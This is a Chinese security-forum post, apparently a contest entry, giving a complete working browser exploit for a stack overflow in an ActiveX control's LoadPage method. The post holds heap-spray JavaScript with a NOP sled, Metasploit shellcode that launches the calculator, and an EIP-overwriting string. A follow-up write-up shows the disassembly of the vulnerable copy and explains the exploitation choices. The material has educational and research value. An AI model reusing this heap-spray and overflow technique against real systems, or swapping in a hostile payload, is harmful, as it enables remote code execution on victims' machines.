首页
社区
课程
招聘
[原创]exploit_me_B 溢出代码
发表于: 2007-12-29 22:06 7076

[原创]exploit_me_B 溢出代码

2007-12-29 22:06
7076
先贴exploit,分析程序慢慢写
<html>
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" id='target'></object>
<body>
<SCRIPT language="javascript">
var heapSprayToAddress = 0x0d0d0d0d;
//shellcode 加载运行计算器,来自metasploit.com
        var payLoadCode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

        var heapBlockSize = 0x400000;

        var payLoadSize = payLoadCode.length * 2;

        var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

        var spraySlide = unescape("%u9090%u9090");
        spraySlide = getSpraySlide(spraySlide,spraySlideSize);

        heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

        memory = new Array();

        for (i=0;i<heapBlocks;i++)
        {
                memory[i] = spraySlide + payLoadCode;
        }
        

        var hahar = 'A';
        while (hahar.length < 256) hahar+='A';
        hahar+="\x0d\x0d\x0d\x0d";
        target.LoadPage(hahar,1,1,1);

        function getSpraySlide(spraySlide, spraySlideSize)
        {
                while (spraySlide.length*2<spraySlideSize)
                {
                        spraySlide += spraySlide;
                }
                spraySlide = spraySlide.substring(0,spraySlideSize/2);
                return spraySlide;
        }
        
</script>  
</body>
</html>

</script>
</body>
</html>

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 220
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
提交者看雪ID:hahar
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
学生
漏洞定位:
使用材料中附带的ComRaider进行定位,筛选出Exception Address为41414141的漏洞进行手动调试,ComRaider测试结果显示可疑函数为
prototype  = "Sub LoadPage ( ByVal URL As String ,  ByVal x As Long ,  ByVal y As Long ,  ByVal Zoom As Single )"
memberName = "LoadPage"
progid     = "ppp2Lib.T_ppp01"
argCount   = 4

arg1=String(1044, "A")
arg2=1
arg3=1
arg4=1
根据exploit_me_A报告中的方法确定百,十,个位,定位到第一个长度为260时恰好覆盖EIP

漏洞描述及危害分析:
.text:10013DC0 ; =============== S U B R O U T I N E =======================================
.text:10013DC0
.text:10013DC0 ; 
.text:10013DC0
.text:10013DC0 sub_10013DC0    proc near               ; CODE XREF: sub_10009740+38 p
.text:10013DC0                                         ; sub_10012D10+8F p
.text:10013DC0
.text:10013DC0 var_10C         = byte ptr -10Ch
.text:10013DC0 var_108         = dword ptr -108h
.text:10013DC0 var_104         = dword ptr -104h
.text:10013DC0 String          = byte ptr -100h
.text:10013DC0 arg_0           = dword ptr  4
.text:10013DC0 arg_4           = dword ptr  8
.text:10013DC0
.text:10013DC0                 sub     esp, 10Ch  ; 开辟10C大小的缓冲区
.text:10013DC6                 mov     edx, ecx        
.text:10013DC8                 or      ecx, 0FFFFFFFFh
.text:10013DCB                 xor     eax, eax
.text:10013DCD                 push    ebx
.text:10013DCE                 push    esi
.text:10013DCF                 push    edi        ;三个push ,ESP-0C
.text:10013DD0                 mov     edi, [esp+120h]
.text:10013DD7                 repne scasb
.text:10013DD9                 not     ecx
.text:10013DDB                 sub     edi, ecx
.text:10013DDD                 lea     ebx, [esp+18h]  ; 拷贝目的地址从ESP+18h开始,最多容纳10C+0CH-18H=100h字节
.text:10013DE1                 mov     eax, ecx
.text:10013DE3                 mov     esi, edi;ESI指向Buffer
.text:10013DE5                 mov     edi, ebx
.text:10013DE7                 shr     ecx, 2
.text:10013DEA                 rep movsd ;此处导致溢出
.text:10013DEC                 mov     ecx, eax
.text:10013DEE                 mov     eax, [edx+3F94h]
.text:10013DF4                 and     ecx, 3
.text:10013DF7                 cmp     eax, 1
.text:10013DFA                 rep movsb
用IDA反汇编控件,漏洞代码在100013DC0处,字符串拷贝没有没有检查源字符串长度,目的空间大小只有10C+0CH-18H=100h字节,所以当第一个参数为260个字符时刚好覆盖了EIP

shellcode描述
shellcode引用自http://metasploit.com站点提供的运行计算器程序的shellcode
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

exploit运行截图
打开LoadPage.html后,计算器程序执行
 

稳定性与通用性论证
采用了heap spray在内存中填充大量nop+shellcode形式的内存块,溢出时将EIP覆盖到0x0d0d0d0d,此处的指令为nop+shellcode形式,执行不受操作系统版本限制,通用性好。

创新性论证(可选)
该漏洞开始试图用传统的JMPESP方法利用,结果发现内存中数据大量被修改 
这是OD的内存截图,看到原来的JMPESP=”\x12\x45\xfa\x7f”被修改成”\x12\x45\xA8\xB2”;故采用Activex控件漏洞利用中的通用的且稳定的HeapSpray技术。
上传的附件:
2007-12-29 23:58
0
游客
登录 | 注册 方可回帖
返回
//